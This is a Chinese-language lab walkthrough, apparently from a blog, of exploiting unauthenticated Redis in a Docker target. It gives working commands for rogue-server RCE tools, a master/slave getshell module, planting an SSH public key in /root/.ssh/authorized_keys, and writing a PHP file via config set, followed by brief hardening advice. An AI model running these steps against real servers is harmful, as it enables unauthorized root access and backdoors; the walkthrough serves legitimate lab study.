市北区开发建设局 网站,php wordpress joom,代做预算网站,mooc网站开发pptRedis是一个开源的内存数据库#xff0c;它用于存储数据#xff0c;并提供高性能、可扩展性和丰富的数据结构支持。
Redis复现文章
Redisssrf漏洞利用探测内网
RedisInsight/RedisDesktopManager可视化连接工具
漏洞原理
#xff08;1#xff09;redis绑定在 0.0.0.0:…
Redis是一个开源的内存数据库它用于存储数据并提供高性能、可扩展性和丰富的数据结构支持。
Redis复现文章
Redisssrf漏洞利用探测内网
RedisInsight/RedisDesktopManager可视化连接工具
漏洞原理
1redis绑定在 0.0.0.0:6379端口且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略直接暴露在公网2没有设置密码认证一般为空可以免密码远程登录redis服务。
Redis 默认情况下会绑定在 0.0.0.0:6379如果没有进行采用相关的策略比如添加防火墙规则避免其他非信任来源 ip 访问等这样将会将 Redis 服务暴露到公网上 如果在没有设置密码认证一般为空的情况下会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。 攻击者在未授权访问 Redis 的情况下利用 Redis 自身的提供的config 命令可以进行写文件操作,并且写公匙登录
测绘查找
port6379serverredis Docker开启环境
docker-compose up -ddocker-compose ps // 查看端口6379 kali扫描主机同样存在 Redis(5.0.5) RCE 工具梭哈
RedisRCE工具
攻击机下载RCE工具 redis-rogue-server工具。使用该工具将在终端伪造一个redis服务并尝试与目标连接实现未授权访问
git clone [https://github.com/n0b0dyCN/redis-rogue-server // kali直接下载](https://github.com/n0b0dyCN/redis-rogue-server)python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip // 连接i // 交互式 成功RCE Redis 4.x/5.x 主/从 getshell
通过工具远程连接执行,原本是通过git在kali克隆但是克隆不了,所以从物理机手动下载移到Kali并且进入redis-rogue-getshell-master/RedisModulesSDK/exp路径使用make命令下载模块,下载完成后cd回到根目录redis-rogue-getshell-master python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c whoami// 第一个IP 靶机IP 第二个 攻击机IP 最后为需要执行的命令 生成ssh免密登录
登陆linux有几种方式最常用的是密码登陆和RSA key 登陆RSA key登陆是生成一个公私对应的秘钥; 未授权成功后将自己的ssh公钥写入目标服务器的/root/.ssh文件中authotrized_keys 文件中进而可以使用对应私钥使用ssh服务器登录目标服务器
为什么redis可以获取服务器的root权限呢
RSA key的登陆方式在服务器方面是要将公钥写入目标authorized_keys文件中的而redis有一种持久化方式是生成RDB文件通过持久化将公钥写入root下的authored_keys文件里这样就将非法的公钥写到了验证文件里后面我们拿对应私钥登陆即可。但是这种方式需要再redis是root启动的情况下使用因为非root权限无法进入/root目录
攻击机中生成ssh公钥和私钥文件,密码为空一直回车就行 进入ssh目录将生成的公钥保存到1.txt并且使用远程连接攻击连接靶机把1.txt写入redis中
(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) 1.txtcat 1.txt | redis-cli -h 192.168.31.169 -x set crack 下面操作就是更改目标服务器Redis备份路径为ssh公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出 此时在攻击机上使用SSH免密登录靶机利用私钥成功登入redis服务器 Redis-cli远程连接工具
攻击机下载工具
wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gz
cd redis-stable
make // 编译 时间很久
远程连接Redis服务器免密登录命令
无密码登录命令C 目标主机IP有密码登录命令redis-cli -h 目标主机IP -p 端口6379 -a 登录密码redis-cli -h 10.2.109.98 // 连接靶机redis服务器info // 输出获取有关 Redis 服务器的各种信息包括版本、模式、操作系统等 写入shell文件
靶场没有开启web端口无法直接上传木马文件,用写入shell文件的方式添加后门攻击者在未授权访问Redis的情况下,利用服务自身提供的config命令可以进行写文件所以可以写入shell,在上文远程连接基础上写入文件,选择/tmp目录通常对所有用户都是可读写的
config set dir /tmp // 选择目录为tmp
config set dbfiname saber.php // 文件名为saber.php// 添加几个换行是因为redis写入文件时会自带一些版本信息若不换行可能会导致木马无法正常执行set webshell \r\n\r\n?php phpinfo();?\r\n\r\n // 文件内容
save // 执行 写入文件后可以通过容器ID查看文件 Docker查看写入Shell成功 修复建议 修改redis.conf配置文件设置bind 127.0.0.1这将限制Redis仅接受来自本地主机的连接设置强密码连接Redis需要进行身份验证